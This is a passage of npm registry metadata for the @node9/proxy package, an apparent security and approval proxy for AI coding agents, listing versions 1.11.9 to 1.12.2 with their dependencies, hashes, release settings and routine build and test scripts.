~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.9_1776868693239_0.4607814601717515","host":"s3://npm-registry-packages-npm-production"}},"1.11.10":{"name":"@node9/proxy","version":"1.11.10","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.10","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"bad4e8fcb49779e9cfd2c721237ff1cfb2255ca4","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.10.tgz","fileCount":20,"integrity":"sha512-brGHXFQjHOk7/KNSCWjoCXVRuge56LMF7vBacdKp9XiTCX0iq4aSCtDLiW57K9WZ0PV1B+Wc3i94EvZ4hkyuZg==","signatures":[{"sig":"MEUCIQDAAKzgdeoZr5yDWWycDCVhvMeHjr5eLDf3man6k+bELAIgRCOEnybMecxeHmnv7CQr25cuMH5VYAm6tgvdVYdFppE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.10","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1639676},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a1b822657715a89222123293a3c4b4df924574d3","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.10_1776869933699_0.20791180253863795","host":"s3://npm-registry-packages-npm-production"}},"1.11.11":{"name":"@node9/proxy","version":"1.11.11","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.11","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"6dd542ec1f4c561ce1e2dac9c87e2c79a71e10a6","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.11.tgz","fileCount":20,"integrity":"sha512-g2lV0MDlnnaJJ3QNva6mHxvUJU6mtgX1O07GmWVtGK6CCHu5wQ9WwWSXw4YFizXTovp+tiGHIp9cD4/n8SzjZw==","signatures":[{"sig":"MEUCIQDJJdKGsATDqLTBssfsnulwKegeo0gLmuzF7udGiTaFXwIgKQIx3pX0t6NaDn2b6UpUWrLGa0Z5CdhG6GKKZGiAZbc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.11","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1639676},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b36c07232e89e99893c4a9eb4601123ccbc6a75b","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.11_1776871924818_0.36376538888527343","host":"s3://npm-registry-packages-npm-production"}},"1.11.12":{"name":"@node9/proxy","version":"1.11.12","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.12","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"df0121957f62fbbb0ad78ea39b149edebd2a6fbf","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.12.tgz","fileCount":21,"integrity":"sha512-QR9Syi1v9D7vuj0AeYC88GdlaX4PwoUj+2K56TByJQtzNLnsVFz8+xiXZDdCTdxeCbksXS9Vf/x6ZN6sxe2+0w==","signatures":[{"sig":"MEUCIQDOP1fbBrF7leRGfD7wX7z9LUosoRGM120G8N5d3CHMBAIgfgyQ3Rcxffa9rypYDz/TVRpo9joq5lCEkJTyzEIoQNk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.12","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1880369},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"89a2cefced5b1b9f4d34f3a35e15bb65b82c30b6","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.12_1776959759485_0.015298546089957954","host":"s3://npm-registry-packages-npm-production"}},"1.11.13":{"name":"@node9/proxy","version":"1.11.13","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.13","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"bf2d0eae81f6798e3417709aaa13a2f52ab40794","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.13.tgz","fileCount":21,"integrity":"sha512-wvG1RgZIhWJ/2XOF/TUKij2eQBGCW54Q29RdDpR1DzpTDEKZW+UflDJPedzGH30U6ShE/agmhuXn49Uw06oBCQ==","signatures":[{"sig":"MEUCIF+f3gbJlVk9+aVDLVGGy6oMmV5d0qEiiV9zmBtOOb7LAiEAroUozvAUIqju82KzJMGL0RgYI1UrKFwU4Hais9i/Yy0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.13","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1880893},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d2cedbfdb989ec49f20b2d66d2cdb9701125c4e7","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.13_1776969137655_0.9356348859083152","host":"s3://npm-registry-packages-npm-production"}},"1.12.0":{"name":"@node9/proxy","version":"1.12.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"e195caf93e62fa6a022fb457eb4d68d9431d1f0b","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.0.tgz","fileCount":21,"integrity":"sha512-qDfxkLRPHy36qXaGCAC62/Woq5dU9w5UKOT3POU0IAtsR7ntl/WNG0UJ40o6PqOp1OAeugvELaQSFjh0lS8SFA==","signatures":[{"sig":"MEUCIQDmDkXrTXbW3NM7lNg4CTjtxI8S4f4kjMe58H5gdqtExgIgbgN9521GcOE4sXZSvmZjEkmxhg5IOOPYWy3mczB9YRA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1883311},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2d5bb8dd0f34a7405cf5f2ff0d76e51112f72518","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.0_1777020313975_0.19566042622739577","host":"s3://npm-registry-packages-npm-production"}},"1.12.1":{"name":"@node9/proxy","version":"1.12.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"8cacb05f70ef2ec582e8ff8f6ade0ed01cba6e4c","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.1.tgz","fileCount":21,"integrity":"sha512-Yv+7XYssbn5ISvj+RH21kRdC7ZZFXfTANaKxSHtY+fAw+A9foMJi5bN82frEMXBajp0lgbvP2FRod9XnylTI2Q==","signatures":[{"sig":"MEQCIC/UWGtsTqz0effq634ThiRC/N95x67Dv2wxWORRsPg/AiAXYmPkYUi1S1IhaOkpm3r+ldziarVsQgL+EGvXWga8FQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1889006},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b71c3122e1234ff6d4e90ab5be4357ea2e1bc79a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.1_1777025782167_0.9551637221571965","host":"s3://npm-registry-packages-npm-production"}},"1.12.2":{"name":"@node9/proxy","version":"1.12.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"33078731d5665a0dcd018caaa88834766e507d75","tarball":"https://registry.npmjs.org/@node9/proxy/-